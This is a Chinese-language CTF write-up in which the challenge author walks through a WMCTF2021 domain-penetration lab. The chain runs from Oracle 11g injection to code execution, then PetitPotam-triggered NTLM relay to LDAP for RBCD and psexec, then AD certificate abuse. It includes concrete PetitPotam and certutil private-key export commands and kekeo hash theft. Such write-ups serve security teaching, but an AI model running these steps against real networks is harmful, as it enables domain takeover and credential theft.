为WMCTF2021出了个域渗透的题目,一直想着写wp ,可惜拖来拖去还是没写。正好最近闲下来有空。也忘了自己的步骤是什么样的了,当复盘学习了。
环境已经公开,想要复现的师傅可以移步博客获取网盘链接。
1.Oracle 11g 11.2.0.1.0 注入 + 代码执行2.Rpc To Rce3.AD证书滥用导致的域内获取域管ntlm
七月的时候接到出题任务,想着出一个域题目。最开始的出题思路
后来觉得这种考点对于短时间CTF的比赛来说有些复杂。且多人攻击起来有些困难。遂放弃。
和loong716
师傅交流了一会儿,看了specterops
发布的关于Active Directory 证书服务相关漏洞的白皮书
具体可移步
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
对于7月左右的时间段,关于Active Directory
证书的攻击在国内还很少见,复现后决定以该思路为考点搭建环境。之后又在 GITHUB
发现了开启WEBCLIENT
服务导致的域内委派RCE
•Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_[1]). This requires a set of credentials for the RPC call.•Relaying that machine authentication to LDAPS for configuring RBCD•RBCD takeover
中继LDAP服务器,使用 RPC 通过 HTTP 触发对中继的机器身份验证,从而写入机器账户使用psexec
提权到域管
172.16.196.151 / 10.233.71.100 (wmteaminternet1)
这里开局只有一个登录框,通过Wappalyzer
可以识别到指纹是JAVA
,测试后发现后端数据库是ORACLE
(这里SQLMAP也能跑,但是当时给了hint为ORACLE,且已知是域,应该能想到是通过注入RCE,巨大的SQLMAP流量把tomcat打崩了好几次QAQ)
通过资料查找,很容易找到关于ORACLE命令执行的相关例子。但网上大多是ORACLE10g 9g, 对于ORACLE 11g命令执行的例子也大多是复制粘贴的Linux环境,在出题的时候也踩了很多坑。做题的很多师傅们在交流过程中发现基本都是用LINUX的ORACLE Docker来测试。出现了本地通了远程不通的问题。
由于题目放的比较晚,所以将注入的黑名单直接放了,防止过多的fuzz与脑洞。
放题晚上12点左右,yyz
与Eki
师傅已经构造出了基本正确的Payload
,且yyz
师傅已经成功ping通dnslog。可惜等到凌晨四点还是没有出。也有可能是没有进行本地测试的缘故 导致了出现小问题。
这里由于涉及到的点比较多。会另开一篇文章讲注入的过程。
成功注入后,会发现有杀毒。编写免杀即可上线。(这里也可以采取盲注的方式注入出桌面的flag文件)
10.233.71.60 (wmteamarrebol)
通过对域内信息收集,很容易发现浏览器访问了域内的ADCS证书服务WEB界面。且flag中含有下一题目的提示,搜集域内信息。
很容易想到攻击方式
首先通过入口的web建立内网代理就不说了
由于要 ntlmrelayx 需要复用端口,通过PortBender
等工具做端口复用。建立好设置
通过Invoke-DNSUpdate 将我们攻击机设置hostname
使用PetitPotam.exe
攻击
PS C:Usersinternet.WMTEAMDesktop> .PetitPotam.exe [email protected]/1.txt 10.233.71.60 Usage: PetitPotam.exe <captureServerIP> <targetServerIP>Attack success!!!
攻击机启动ntlmrelayx
这时候我们就有一个高权限的机器账户了 使用机器账户申请TGT/ST票据
直接psexec链接即可
(10.233.71.10)
通过远程登录到Arrebol机器的桌面
在证书中发现了Administrator用户的证书文件
而该文件的预期目的正好是加密文件系统、客户端身份验证、安全电子邮件
,而
1、客户端认证
2、PKINIT 客户端身份验证
3、智能卡登录
4、任何目的
5、子CA
可以使用证书进行kerberos认证。正好符合
我们使用>certutil -user -store My
来查看个人证书的sha1 方便导出
通过
certutil -user -exportPFX f809b4975d1698baeded0c98cb40cccbbef39955 c:UsersarrebolDesktoptest1.pfx
命令带私钥导出证书
把证书下载到本地。将本地windows代理到内网 本地DNS设置成域控ip
使用kekeo获取用户的NTLM
成功获取到域控的ntlm
使用psexec横向即可
感觉中间部分的webclient服务并不太好想到。而且题目说实话放的确实晚了一些,影响了师傅们的做题体验,这里给师傅们赔个不是。还希望大家能从中学到一些新知识。
文章中许多解释存在不合适/不正确的地方还请各位师傅多多指出。
[1]
demonstrated by @tifkin_: https://twitter.com/tifkin_/status/1418855927575302144?s=20
本文作者:白帽100安全攻防实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/173263.html